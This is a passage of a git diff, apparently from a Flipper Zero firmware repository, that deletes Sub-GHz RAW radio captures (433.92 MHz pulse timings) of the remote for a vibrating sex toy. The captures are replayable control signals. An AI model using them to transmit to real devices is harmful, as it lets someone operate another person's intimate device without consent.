411 -844 429 -424 443 -842 437 -386 447 -844 437 -388 447 -846 433 -388 443 -846 403 -884 383 -854 421 -878 411 -844 413 -844 425 -836 413 -868 415 -854 427 -840 1679 -426 441 -412 419 -426 409 -446 413 -420 429 -416 413 -424 409 -876 431 -390 443 -414 419 -432 399 -866 419 -418 441 -430 387 -448 413 -838 421 -444 413 -834 409 -414 449 -854 411 -420 431 -820 443 -420 427 -834 449 -426 445 -842 397 -850 415 -854 425 -838 441 -824 451 -844 435 -816 413 -862 411 -850 437 -820 1707 -424 445 -382 437 -434 415 -418 417 -440 411 -418 445 -416 409 -846 447 -412 409 -446 413 -408 441 -844 419 -410 449 -414 407 -440 413 -852 441 -392 441 -850 407 -420 411 -878 413 -418 427 -838 449 -380 439 -846 421 -420 439 -95454 231 -464 65 -134 165 -262 65 -98 329 -230 131 -66 165 -296 1023 -66 163 -100 3919 -66 429 -66 365 -134 265 -100 1159 -264 2049 -66 599 -66 1421 -198 361 -66 559 -66 1195 -66 197 -100 567 -100 965 -66 1367 -100 3323 -100 295 -66 163 -98 6113 -66 199 -98 633 -132 925 -66 295 -134 1459 -198 595 -98 629 -66 759 -164 231 -98 1491 -66 559 -98 -RAW_Data: 461 -132 1819 -66 3403 -100 1643 -66 65 -166 1957 -98 6003 -98 4963 -100 165 -98 1705 -230 1779 -98 621 -130 435 -68 197 -68 3517 -198 263 -98 10409 -100 231 -64 293 -98 525 -66 727 -166 2687 -100 1049 -98 4105 -98 1877 -66 6509 -132 9867 -98 557 -100 593 -66 291 -164 2287 -100 165 -66 1027 -132 3947 -100 5189 -66 97 -66 231 -266 265 -132 233 -100 797 -66 1313 -132 161 -98 2111 -66 1351 -98 555 -66 425 -66 227 -196 627 -164 4899 -132 1261 -98 1741 -66 129 -66 1527 -66 595 -66 163 -134 997 -132 99 -66 725 -66 1261 -66 4281 -132 389 -166 129 -198 685 -66 4429 -66 425 -66 227 -100 231 -66 1875 -100 2581 -132 1851 -64 585 -66 921 -166 2895 -66 985 -132 2057 -166 561 -264 263 -66 361 -196 197 -100 265 -68 953 -66 591 -262 363 -100 995 -100 3885 -166 727 -68 1351 -100 585 -66 1343 -132 787 -98 163 -132 1921 -98 2855 -134 797 -198 2711 -132 2047 -162 2087 -68 2719 -68 1357 -100 525 -66 989 -68 563 -100 4811 -66 2419 -66 497 -64 557 -132 231 -100 3687 -100 459 -100 197 -134 2569 -98 1879 -66 659 -132 663 -66 467 -130 723 -98 65 -164 489 -98 2911 -100 65 -132 695 -166 2825 -100 925 -134 635 -232 1185 -66 461 -66 459 -98 919 -134 197 -64 589 -130 2743 -134 299 -66 567 -66 97 -134 899 -66 65 -98 725 -66 625 -134 499 -132 989 -98 1351 -98 1715 -100 99 -100 2223 -64 165 -66 1193 -100 1227 -66 595 -132 2153 -100 533 -100 399 -100 2949 -100 729 -100 3457 -100 301 -100 699 -66 1491 -232 4853 -132 99 -66 1159 -100 97 -66 295 -100 231 -168 897 -130 495 -134 167 -68 3591 -198 959 -66 497 -132 1097 -66 3781 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub deleted file mode 100644 index 7be8dd340..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2859 -66 757 -98 1061 -66 3217 -66 2691 -132 131 -768 2633 -130 555 -164 1447 -66 1059 -98 133 -100 1091 -296 1287 -200 1693 -132 729 -68 2687 -68 1367 -66 1293 -100 501 -134 663 -100 265 -200 1325 -64 2121 -132 597 -100 1787 -66 4711 -100 761 -16602 65 -2858 131 -1648 167 -164 99 -132 99 -528 329 -200 133 -132 3983 -102 2457 -66 999 -66 2801 -100 1093 -98 463 -166 299 -66 629 -100 4311 -134 397 -66 2113 -132 555 -132 1907 -102 1629 -66 1295 -100 2955 -100 1925 -234 397 -132 2471 -66 133 -98 693 -132 661 -66 531 -66 167 -100 1063 -168 131 -100 1025 -66 65 -66 361 -66 1285 -130 657 -64 3389 -66 1839 -132 2127 -100 2525 -132 465 -66 199 -98 2123 -66 4037 -66 859 -100 493 -132 591 -264 1021 -66 1331 -100 1531 -132 133 -66 565 -66 99 -100 461 -66 4379 -100 1819 -68 3041 -100 1497 -68 3583 -100 297 -100 267 -132 4433 -66 131 -66 2129 -66 535 -100 1857 -166 1359 -134 367 -66 927 -164 65 -66 1183 -66 329 -64 395 -98 1597 -100 4583 -98 4847 -164 527 -98 1181 -98 3249 -66 363 -66 197 -100 861 -134 357 -66 1415 -98 363 -162 1157 -98 597 -132 267 -166 331 -98 3017 -66 531 -68 563 -98 761 -66 863 -98 331 -100 1961 -66 1093 -100 501 -100 297 -66 1125 -66 1827 -134 1063 -100 491 -66 65 -130 131 -100 395 -66 1293 -168 497 -66 197 -100 963 -100 967 -198 431 -66 265 -66 497 -100 363 -66 465 -100 463 -100 1459 -100 1091 -66 1279 -164 1017 -98 2699 -166 493 -98 4941 -98 3785 -66 557 -132 3871 -98 1253 -66 1495 -100 163 -66 589 -100 97 -198 457 -98 1387 -66 63 -100 949 -66 1015 -100 661 -100 1093 -134 1725 -66 4383 -66 861 -98 2415 -66 361 -98 1881 -68 1159 -100 1265 -100 2125 -66 263 -66 233 -100 2029 -100 1393 -134 1029 -100 1961 -68 593 -66 2049 -64 1245 -66 163 -100 3313 -100 999 -100 231 -134 429 -100 791 -100 299 -66 2671 -66 97 -66 393 -66 295 -98 2277 -66 327 -66 3523 -66 793 -66 131 -100 231 -66 2231 -132 1923 -102 3607 -66 393 -132 983 -132 2277 -134 767 -102 363 -100 765 -100 935 -100 523 -198 1851 -98 3191 -66 127 -132 227 -98 817 -64 1671 -228 2139 -132 65 -66 1723 -66 459 -132 691 -132 1051 -100 531 -134 2585 -66 591 -98 1183 -98 131 -130 955 -66 1457 -132 265 -132 1249 -132 3111 -166 265 -66 2487 -134 5913 -132 265 -100 2817 -66 1529 -132 2649 -100 819 -66 329 -64 3283 -230 791 -64 1085 -130 2049 -66 467 -100 2057 -102 333 -66 463 -98 4405 -66 3187 -68 331 -68 -RAW_Data: 1291 -132 1493 -66 1493 -100 759 -100 429 -64 1119 -66 491 -66 885 -134 3283 -98 199 -68 1383 -66 131 -98 2605 -66 4637 -66 593 -66 2263 -98 7107 -66 9745 -66 1521 -66 14171 -68 299 -100 2483 -166 3093 -66 433 -132 261 -132 261 -130 721 -98 757 -98 131 -98 1845 -66 563 -64 889 -100 2697 -98 163 -164 163 -66 231 -98 493 -66 1415 -100 497 -66 195 -132 2715 -132 363 -66 1591 -134 263 -100 2429 -98 465 -132 265 -132 931 -66 3619 -166 763 -100 725 -66 2307 -134 1099 -98 1681 -66 333 -134 231 -100 1929 -100 4451 -132 99 -98 2287 -66 2089 -68 1255 -100 5665 -66 2265 -66 785 -98 1247 -198 97 -66 1949 -66 1359 -134 5939 -66 1661 -66 961 -66 1017 -66 1741 -68 659 -166 631 -66 299 -68 1785 -68 2823 -134 527 -66 765 -66 97 -68 297 -100 599 -100 67 -230 331 -166 729 -198 1885 -132 331 -66 4453 -68 1033 -66 1887 -332 1885 -66 395 -130 1219 -132 663 -66 397 -134 65 -100 297 -166 1323 -134 165 -68 2459 -66 931 -68 131 -100 363 -100 167 -66 967 -66 99 -100 659 -66 97 -164 493 -66 897 -66 1135 -134 1101 -132 397 -66 4351 -66 1461 -132 2117 -134 565 -100 597 -100 1319 -864 381 -880 395 -886 383 -852 425 -838 413 -878 407 -874 395 -852 1675 -450 411 -440 391 -444 413 -416 447 -404 413 -444 411 -440 395 -874 419 -410 441 -412 409 -436 411 -874 397 -430 413 -446 383 -434 435 -838 425 -426 411 -876 399 -422 443 -844 399 -426 443 -846 397 -424 443 -846 399 -426 443 -846 399 -880 385 -892 381 -882 397 -862 417 -848 399 -872 387 -884 389 -874 417 -856 1703 -398 435 -416 415 -420 439 -428 389 -446 415 -416 433 -428 407 -876 399 -422 443 -416 417 -432 397 -868 417 -848 437 -418 415 -452 415 -832 411 -872 399 -850 415 -436 431 -844 389 -466 405 -872 395 -446 411 -842 435 -412 413 -878 409 -838 423 -854 415 -852 395 -870 417 -848 441 -848 419 -856 413 -838 423 -840 1677 -454 415 -416 407 -454 381 -446 417 -452 401 -428 407 -420 409 -878 409 -448 409 -400 423 -446 415 -836 415 -884 399 -430 415 -418 417 -864 409 -876 399 -858 419 -418 407 -884 419 -418 409 -870 417 -418 417 -864 415 -416 417 -850 439 -846 425 -850 389 -876 417 -820 441 -846 423 -852 387 -876 409 -846 413 -844 1679 -452 387 -450 405 -424 441 -414 413 -422 411 -444 417 -450 401 -854 411 -412 423 -422 445 -414 407 -866 419 -844 435 -386 445 -416 441 -840 417 -848 407 -848 447 -418 409 -848 415 -440 433 -846 417 -428 -RAW_Data: 409 -846 425 -412 445 -844 405 -846 451 -852 417 -842 409 -864 419 -846 441 -812 453 -850 417 -846 409 -850 1705 -430 407 -418 415 -450 409 -448 411 -420 429 -396 437 -416 443 -846 413 -416 417 -418 441 -408 413 -850 437 -862 417 -414 411 -420 423 -840 415 -874 413 -848 419 -398 437 -844 427 -428 441 -842 401 -426 443 -842 433 -388 445 -844 403 -850 415 -852 423 -876 413 -842 449 -842 399 -850 413 -854 425 -838 419 -850 1697 -452 401 -428 409 -418 445 -422 427 -410 413 -452 423 -418 409 -848 415 -452 403 -426 411 -416 445 -842 413 -874 431 -390 443 -414 441 -838 419 -844 435 -846 421 -396 437 -844 427 -428 409 -842 425 -424 443 -842 401 -424 445 -97388 65 -134 165 -890 165 -232 131 -328 163 -628 67 -200 1127 -164 11129 -132 463 -100 791 -100 589 -66 1351 -66 1181 -196 851 -100 1841 -100 131 -66 463 -100 865 -166 2253 -268 1895 -100 899 -100 3521 -100 1675 -66 329 -68 695 -100 1823 -66 3471 -98 293 -98 63 -230 263 -100 1447 -66 295 -98 129 -66 1805 -98 361 -64 1055 -98 1083 -66 1265 -132 495 -100 165 -100 897 -166 659 -66 2123 -66 333 -66 695 -66 927 -100 627 -100 1553 -64 655 -66 331 -134 131 -100 1799 -134 569 -66 1429 -66 133 -166 933 -98 625 -66 2553 -98 429 -134 1031 -100 1125 -100 3327 -98 623 -64 1277 -66 3391 -66 1561 -98 429 -134 965 -98 1283 -66 297 -98 1253 -66 559 -66 3345 -66 1351 -66 1443 -164 293 -98 685 -100 97 -68 863 -132 199 -132 265 -100 565 -66 901 -132 1189 -66 399 -98 863 -100 1365 -66 265 -68 1199 -98 429 -66 2151 -232 263 -168 3587 -132 2053 -132 2669 -66 2003 -100 953 -66 131 -64 657 -100 195 -294 461 -130 1381 -66 885 -98 2211 -66 829 -66 1135 -68 963 -98 165 -64 1625 -98 761 -66 395 -100 5373 -66 4123 -100 565 -202 563 -134 297 -100 131 -68 65 -66 987 -100 265 -100 133 -132 897 -66 857 -100 331 -198 1291 -134 197 -134 897 -66 2515 -100 563 -98 531 -132 263 -200 429 -100 993 -66 2189 -166 231 -68 1795 -264 331 -132 329 -68 299 -66 7823 -66 1791 -166 827 -132 3003 -64 1317 -64 1647 -66 1645 -132 3969 -66 297 -66 2363 -198 329 -66 989 -132 65 -100 629 -66 99 -98 363 -66 1491 -66 565 -66 3861 -166 165 -100 1713 -66 1061 -66 393 -98 99 -132 327 -66 4771 -66 2523 -66 263 -68 167 -68 1029 -166 265 -66 99 -298 2419 -68 767 -264 97 -98 427 -66 949 -132 2091 -100 365 -100 729 -134 333 -132 1793 -98 863 -66 535 -98 -RAW_Data: 4205 -132 365 -68 1097 -66 1059 -98 785 -166 3821 -100 727 -266 697 -66 497 -66 16225 -66 1493 -66 233 -132 661 -134 1131 -100 897 -100 1393 -68 825 -264 1383 -66 1741 -66 261 -66 8673 -66 3583 -98 327 -198 1255 -98 491 -66 1481 -100 685 -66 893 -66 329 -166 759 -130 3943 -66 231 -66 1641 -100 1527 -66 1749 -66 1089 -134 1327 -98 10723 -66 363 -68 431 -134 1327 -134 361 -66 1087 -98 559 -98 265 -168 599 -100 1225 -100 693 -132 501 -132 601 -132 3723 -66 267 -100 165 -66 627 -66 657 -132 1057 -232 2191 -66 1159 -164 1293 -236 1433 -66 233 -166 499 -134 65 -132 1361 -100 399 -66 2323 -66 327 -100 2235 -198 719 -134 3999 -466 1519 -98 1755 -98 831 -100 163 -98 1909 -66 1189 -198 1259 -100 1773 -132 917 -230 721 -98 97 -132 1089 -98 633 -66 891 -66 399 -100 265 -100 899 -66 1797 -132 233 -64 99 -66 97 -98 2469 -164 887 -100 929 -132 693 -100 397 -296 1493 -132 197 -100 267 -132 1227 -134 1061 -132 1463 -166 2891 -98 299 -132 1855 -68 2025 -66 261 -130 1251 -66 1679 -264 561 -100 1091 -100 2253 -66 599 -100 953 -100 1391 -100 561 -134 233 -66 719 -66 885 -264 701 -98 131 -64 2207 -66 1839 -100 591 -66 425 -98 131 -230 9999 -68 3313 -134 3949 -66 1959 -132 665 -66 4645 -66 2335 -66 1219 -164 197 -66 1261 -98 197 -66 565 -68 265 -100 763 -102 497 -66 1395 -66 989 -100 1245 -136 133 -134 299 -134 265 -66 327 -132 1251 -66 757 -132 3827 -132 629 -68 1025 -66 2615 -66 631 -166 1979 -162 393 -66 527 -164 817 -98 131 -134 263 -100 829 -132 693 -134 131 -100 1455 -98 561 -130 625 -98 1017 -132 163 -130 4279 -66 365 -134 265 -66 431 -132 335 -66 165 -66 7431 -98 3179 -66 233 -66 1353 -100 493 -66 819 -100 733 -132 1555 -134 365 -68 3047 -66 2825 -234 299 -132 297 -132 467 -100 1777 -98 129 -164 1383 -100 861 -66 131 -100 2571 -66 4611 -66 1459 -66 2721 -102 665 -98 529 -166 757 -66 1085 -100 2321 -19724 197 -166 827 -266 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub deleted file mode 100644 index dba45f8a3..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_4.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 433 -100 201 -234 393 -100 327 -198 131 -98 295 -100 963 -66 1117 -98 1085 -100 1323 424 3153 -66 163 -132 297 -164 331 -132 131 -64 1129 -68 2395 -68 235 -298 1693 -98 1759 -66 265 -100 1295 -100 3507 -66 3643 -134 631 -132 333 -166 589 -132 363 -66 1491 -64 1893 -230 361 -64 721 -98 65 -132 1609 -66 1743 -132 1283 -66 299 -132 1551 -66 327 -68 629 -100 5665 -166 1293 -98 165 -68 263 -166 199 -100 1061 -68 531 -100 299 -68 5549 -100 1059 -98 2203 -98 1479 -134 2941 -98 1021 -100 4523 -66 363 -66 163 -132 97 -166 1459 -100 4005 -98 2237 -198 1427 -100 299 -134 695 -100 593 -98 2533 -66 361 -98 1251 -66 2909 -66 1027 -66 133 -66 2571 -66 1611 -66 1217 -66 2631 -98 295 -164 361 -66 165 -66 229 -132 887 -98 5795 -66 1357 -130 1753 -66 1693 -66 2309 -66 367 -134 2527 -100 1655 -134 1451 -66 5495 -66 397 -66 365 -66 1835 -66 721 -66 2453 -66 2983 -134 235 -234 331 -66 331 -98 1425 -132 2369 -66 1523 -200 699 -132 1823 -228 263 -66 2271 -100 987 -132 2469 -98 2253 -66 263 -100 933 -68 2551 -66 197 -66 395 -68 13589 -100 3519 -68 3155 -98 733 -66 729 -68 297 -234 761 -66 741 -846 413 -878 409 -840 425 -854 415 -852 425 -838 445 -846 411 -848 1675 -452 391 -450 405 -428 441 -414 411 -424 411 -446 417 -416 433 -852 413 -442 409 -416 449 -424 401 -862 417 -848 433 -388 445 -416 411 -854 449 -844 399 -852 411 -440 427 -844 385 -452 411 -850 413 -452 403 -852 413 -442 411 -840 429 -852 415 -852 423 -840 419 -848 441 -844 427 -850 419 -848 409 -846 447 -846 1651 -448 415 -396 439 -446 411 -418 411 -446 415 -418 433 -430 407 -844 425 -426 441 -382 445 -848 447 -382 445 -420 409 -448 413 -838 421 -444 415 -420 429 -850 387 -448 413 -856 423 -444 381 -888 399 -430 417 -842 409 -440 417 -846 407 -848 447 -844 437 -846 385 -868 413 -854 423 -870 411 -846 411 -876 393 -838 1701 -452 421 -416 409 -428 407 -418 415 -420 435 -428 417 -416 419 -884 389 -442 417 -418 431 -822 443 -418 425 -412 443 -414 409 -868 417 -418 417 -436 425 -840 419 -418 439 -820 451 -416 407 -870 419 -416 409 -854 417 -416 439 -828 453 -846 401 -850 415 -868 411 -834 409 -852 417 -866 413 -844 429 -848 415 -854 1675 -460 379 -448 415 -452 403 -424 443 -414 411 -422 411 -446 415 -854 397 -434 415 -448 383 -852 421 -448 413 -452 405 -428 409 -844 427 -426 441 -384 443 -852 413 -416 445 -848 413 -418 417 -846 -RAW_Data: 441 -418 415 -846 441 -418 417 -846 441 -846 419 -852 387 -874 413 -848 413 -876 399 -854 415 -866 379 -876 409 -852 1703 -428 407 -418 443 -416 411 -444 415 -418 431 -410 413 -446 409 -866 417 -416 417 -430 415 -840 449 -414 413 -422 411 -444 415 -870 379 -450 391 -450 407 -854 413 -450 401 -854 413 -412 425 -852 413 -410 439 -844 421 -410 447 -842 439 -812 445 -834 415 -854 425 -840 439 -858 419 -844 437 -846 423 -852 411 -856 1677 -416 437 -430 415 -418 415 -454 403 -428 409 -416 417 -420 451 -844 415 -416 417 -420 451 -830 445 -378 443 -418 409 -446 411 -870 385 -446 413 -422 433 -822 445 -440 411 -842 423 -410 447 -846 403 -424 445 -844 431 -420 417 -105822 99 -334 165 -530 163 -1420 65 -826 165 -366 1259 -64 493 -64 697 -66 3291 -68 1321 -68 2357 -100 3213 -66 65 -66 433 -200 361 -200 1475 -98 3191 -134 297 -100 3775 -66 1061 -132 1829 -66 639 -66 1227 -166 2223 -230 4117 -66 3721 -66 861 -98 431 -198 493 -66 1355 -168 301 -200 2333 -100 433 -98 393 -66 97 -100 1673 -132 1609 -64 525 -134 199 -132 663 -66 993 -66 229 -98 163 -66 2589 -100 519 -66 1019 -100 1885 -66 489 -66 491 -66 559 -98 297 -196 165 -66 885 -98 1083 -66 1083 -66 521 -132 723 -98 4497 -66 933 -102 531 -66 1443 -66 897 -66 1957 -200 197 -134 763 -132 2357 -130 5651 -98 395 -98 325 -66 429 -96 949 -98 2345 -66 2293 -66 465 -66 1727 -66 1123 -66 567 -98 829 -66 4521 -66 465 -66 4049 -66 2649 -168 331 -66 1759 -66 3149 -66 397 -66 687 -66 1389 -66 65 -100 459 -66 1155 -66 1629 -68 401 -98 131 -100 363 -66 3189 -100 163 -66 265 -68 797 -100 1825 -100 327 -66 761 -168 3493 -66 3015 -134 2951 -166 1819 -66 2929 -66 1555 -66 295 -98 65 -98 723 -100 1157 -100 1519 -132 721 -66 1125 -166 2157 -134 99 -66 633 -68 463 -66 2357 -166 3429 -130 1977 -66 1655 -132 165 -234 467 -132 655 -132 2503 -66 2769 -332 923 -66 2759 -100 5563 -134 3477 -64 1415 -66 331 -68 99 -198 395 -166 623 -100 1245 -66 1379 -100 1349 -264 1697 -66 195 -68 65 -100 861 -66 99 -100 1089 -164 1915 -68 1593 -100 1029 -68 525 -130 163 -132 1667 -132 2383 -98 295 -64 329 -198 1673 -66 981 -166 623 -66 2187 -66 1991 -98 1479 -100 855 -66 429 -68 401 -66 431 -66 465 -66 299 -100 469 -66 365 -68 1021 -68 1161 -64 197 -66 5471 -164 3669 -166 6765 -202 927 -66 1351 -130 6677 -164 1485 -66 4115 -66 391 -132 2479 -68 -RAW_Data: 133 -100 1315 -100 7913 -98 9029 -66 2883 -98 359 -66 1095 -232 10999 -98 729 -132 161 -66 2765 -66 493 -100 361 -64 1021 -66 2275 -64 11083 -132 2807 -66 6229 -100 199 -66 859 -66 3247 -100 599 -66 1461 -132 1935 -66 761 -166 1931 -68 1359 -68 4777 -166 667 -132 2279 -98 457 -132 957 -100 1821 -100 197 -98 331 -68 65 -66 3217 -66 297 -102 465 -132 799 -98 1585 -98 2467 -132 63 -132 4355 -166 655 -164 1693 -132 2317 -66 297 -66 697 -132 3387 -64 489 -100 1347 -66 2577 -100 365 -66 1125 -66 3421 -166 1193 -68 433 -100 2247 -66 459 -66 2771 -198 455 -64 4455 -166 563 -100 1531 -68 561 -134 2553 -64 1423 -66 2193 -98 1889 -232 1093 -166 331 -66 331 -166 731 -100 2987 -98 199 -132 2397 -68 1361 -168 991 -66 789 -132 263 -98 233 -66 837 -66 1059 -102 65 -268 663 -134 99 -198 2059 -132 393 -66 2929 -166 297 -132 2959 -132 363 -100 765 -98 1327 -164 2025 -66 661 -66 161 -66 791 -66 3887 -66 497 -98 1485 -98 467 -100 331 -98 1395 -100 629 -134 427 -164 197 -100 433 -100 1795 -100 531 -66 2741 -100 2387 -66 1429 -100 165 -68 5063 -132 395 -132 2147 -230 1363 -66 895 -134 1391 -134 167 -232 1391 -198 691 -98 295 -132 427 -166 331 -268 2455 -98 885 -66 461 -66 365 -200 1821 -100 401 -66 1357 -68 1393 -66 661 -66 331 -236 2625 -66 1157 -132 1957 -66 463 -134 501 -66 2649 -100 497 -166 2389 -100 325 -98 1249 -100 329 -130 197 -64 1317 -98 459 -130 1947 -166 1191 -100 495 -134 657 -98 1355 -98 2015 -132 329 -68 3087 -100 1693 -232 1691 -64 263 -66 4387 -100 2685 -66 1687 -68 2955 -64 949 -262 2425 -68 763 -100 695 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub deleted file mode 100644 index 58910607b..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2835 -132 2005 -66 163 -66 1557 -66 963 -198 1067 202 2269 -66 1171 -202 1561 -66 2931 -100 629 -66 601 -232 685 -132 5331 -98 1883 -66 657 -66 163 -68 1229 -68 663 -166 1699 -100 429 -66 163 -132 823 -66 3615 -66 2273 -66 523 -98 5441 -66 1123 -100 133 -66 2887 -198 529 -130 163 -130 65 -100 295 -98 65 -164 227 -198 329 -66 2171 -66 503 -98 363 -100 2223 -100 563 -98 259 -164 2625 -100 331 -66 465 -232 1753 -134 595 -66 627 -66 1127 -66 163 -98 1215 -198 887 -132 625 -132 97 -68 327 -98 5479 -66 199 -168 133 -66 3633 -98 1381 -132 2717 -66 4911 -234 697 -264 167 -232 795 -66 731 -134 495 -100 2987 -98 2271 -98 333 -66 401 -100 133 -264 695 -68 2983 -66 723 -100 1831 -66 7197 -100 1781 -68 129 -66 2001 -164 2417 -102 5117 -66 1055 -100 565 -134 793 -66 1281 -230 493 -134 1297 -132 3017 -100 1095 -100 6743 -66 523 -162 1257 -68 7961 -100 1287 -66 591 -66 2481 -100 231 -168 2341 -130 6849 -66 1257 -66 363 -66 65 -66 1585 -68 165 -132 1295 -134 495 -132 1263 -98 2263 -134 433 -66 365 -134 97 -98 427 -132 2981 -132 131 -64 1185 -132 301 -68 2251 -68 5023 -66 593 -164 627 -102 4007 -200 331 -66 995 -66 2391 -166 1789 -132 199 -130 1219 -66 1909 -66 265 -66 3177 -132 467 -100 631 -100 829 -98 197 -98 4457 -66 233 -100 1293 -68 2393 -66 329 -98 1867 -166 165 -102 1435 -66 229 -66 591 -166 1187 -232 1989 -66 3055 -132 893 -98 99 -232 831 -66 495 -68 363 -234 263 -98 563 -68 599 -64 265 -134 4807 -134 9641 -298 4413 -166 825 -66 497 -332 6735 -66 399 -132 1493 -64 631 -166 363 -100 2357 -100 3183 -854 411 -838 425 -850 415 -870 419 -846 411 -844 413 -842 429 -846 1701 -418 419 -418 431 -410 447 -416 409 -440 417 -418 417 -452 409 -850 411 -440 429 -388 447 -416 439 -410 417 -872 409 -408 413 -446 421 -426 409 -842 421 -868 415 -410 445 -842 401 -424 447 -844 433 -388 445 -846 401 -424 441 -840 429 -836 423 -824 441 -842 409 -874 411 -846 415 -842 431 -850 411 -856 423 -868 1693 -416 409 -446 411 -420 427 -398 435 -416 445 -420 425 -440 381 -884 415 -840 415 -416 445 -416 425 -440 413 -836 413 -448 419 -414 415 -424 445 -844 433 -846 419 -414 445 -816 417 -452 405 -854 413 -418 433 -854 413 -442 407 -844 427 -854 413 -852 423 -838 419 -850 441 -838 425 -856 411 -820 451 -830 413 -872 1683 -408 423 -422 441 -412 409 -438 411 -444 415 -428 407 -442 417 -858 411 -844 -RAW_Data: 427 -428 409 -448 419 -422 399 -868 417 -418 405 -460 387 -446 417 -868 387 -880 415 -432 397 -870 417 -418 415 -866 411 -416 445 -848 409 -420 415 -846 437 -848 423 -820 411 -882 397 -868 415 -848 437 -848 387 -886 387 -878 417 -858 1665 -452 403 -424 441 -384 449 -430 425 -440 381 -450 427 -416 411 -854 413 -852 425 -442 381 -450 391 -452 445 -846 383 -442 413 -416 451 -420 409 -840 447 -844 413 -418 449 -852 411 -418 417 -878 413 -418 417 -846 435 -388 443 -848 403 -848 417 -884 387 -874 411 -848 447 -842 397 -850 413 -886 389 -872 419 -852 1661 -450 409 -424 411 -448 415 -426 411 -442 415 -408 423 -442 417 -844 439 -846 419 -416 409 -424 441 -382 447 -848 415 -416 451 -420 409 -448 381 -886 397 -864 419 -416 419 -860 413 -418 415 -848 441 -418 415 -848 441 -418 413 -876 411 -844 419 -854 381 -870 411 -876 381 -876 415 -846 427 -850 415 -854 429 -836 1705 -388 445 -416 411 -426 423 -444 415 -440 397 -424 445 -414 409 -864 417 -846 439 -418 415 -418 441 -410 415 -850 403 -460 387 -446 415 -450 405 -850 413 -852 423 -446 411 -850 411 -442 413 -838 427 -442 381 -848 435 -434 417 -106674 99 -992 167 -200 65 -496 99 -130 395 -66 65 -100 1251 -132 1741 -166 2783 -68 499 -66 1459 -98 229 -100 491 -132 163 -66 625 -66 133 -66 2813 -66 129 -66 229 -262 625 -132 491 -132 261 -132 2559 -66 267 -98 499 -66 403 -100 363 -130 1869 -66 789 -100 261 -66 955 -66 1511 -132 1251 -100 829 -164 1325 -132 1805 -66 167 -130 293 -66 197 -132 2115 -100 663 -68 501 -132 499 -100 2073 -100 65 -66 2319 -98 10871 -100 563 -68 133 -98 299 -166 793 -164 1363 -98 1031 -232 731 -66 1319 -66 559 -166 99 -102 1123 -134 795 -134 1425 -66 1061 -66 635 -98 165 -66 1723 -68 465 -100 331 -66 659 -66 393 -64 197 -132 99 -132 919 -98 923 -66 229 -68 1061 -100 731 -166 4213 -66 561 -164 3099 -96 261 -328 459 -66 229 -68 797 -66 325 -134 961 -68 463 -66 563 -100 1125 -66 165 -68 1159 -66 465 -66 2625 -100 1055 -130 197 -66 1387 -66 2091 -68 663 -100 301 -234 165 -68 731 -66 65 -166 1795 -100 923 -66 1823 -132 231 -98 129 -130 229 -98 1745 -98 295 -64 595 -66 2537 -198 1251 -66 2379 -100 1919 -98 765 -166 365 -66 859 -98 331 -98 829 -68 199 -100 199 -166 4091 -66 687 -166 1189 -132 263 -166 229 -100 333 -264 365 -100 303 -68 665 -132 1033 -98 697 -132 99 -100 365 -66 2789 -66 -RAW_Data: 1725 -132 357 -132 165 -168 13317 -66 361 -98 361 -64 5895 -66 1059 -66 3259 -96 985 -132 265 -136 1065 -164 197 -98 3013 -100 165 -100 631 -132 561 -98 393 -98 591 -64 1351 -66 699 -66 429 -68 165 -66 1361 -66 1361 -132 5561 -132 1221 -98 4125 -66 1263 -232 6821 -98 1375 -98 559 -98 883 -130 689 -98 295 -98 1289 -100 367 -66 529 -66 995 -66 697 -100 959 -66 1649 -166 2817 -66 661 -100 233 -66 2735 -132 589 -66 1249 -164 197 -66 983 -100 1115 -100 263 -66 2323 -198 629 -132 1383 -98 263 -98 757 -66 1775 -66 1911 -100 1261 -100 1361 -134 895 -102 99 -66 1493 -98 661 -66 391 -196 729 -98 2177 -98 1589 -98 929 -66 1529 -100 465 -100 3049 -100 331 -132 929 -68 167 -100 195 -132 1055 -100 301 -100 2749 -66 525 -66 2123 -66 985 -98 261 -98 455 -132 193 -164 1749 -100 365 -298 995 -66 597 -166 1599 -66 665 -64 133 -66 2643 -132 763 -100 925 -66 5467 -100 991 -66 1775 -98 493 -98 1089 -66 231 -102 1619 -100 555 -132 229 -66 3343 -166 885 -100 199 -100 765 -100 1659 -66 2059 -132 3343 -98 731 -166 263 -100 7429 -66 3891 -166 999 -198 397 -100 197 -100 1031 -132 231 -264 625 -366 231 -136 2391 -164 1227 -66 895 -66 665 -64 131 -98 425 -66 295 -166 393 -66 997 -98 1425 -98 1331 -66 2411 -100 165 -134 629 -66 265 -66 99 -66 4415 -98 923 -98 229 -64 295 -98 1753 -66 563 -100 649 -66 2217 -66 3563 -66 131 -132 229 -66 1375 -100 1089 -164 787 -64 425 -66 719 -162 129 -66 2293 -66 1419 -98 723 -360 1545 -164 1021 -98 293 -66 1591 -66 263 -134 799 -134 495 -66 6007 -66 2347 -132 4837 -100 1759 -130 131 -64 2205 -66 1159 -66 893 -100 1029 -68 397 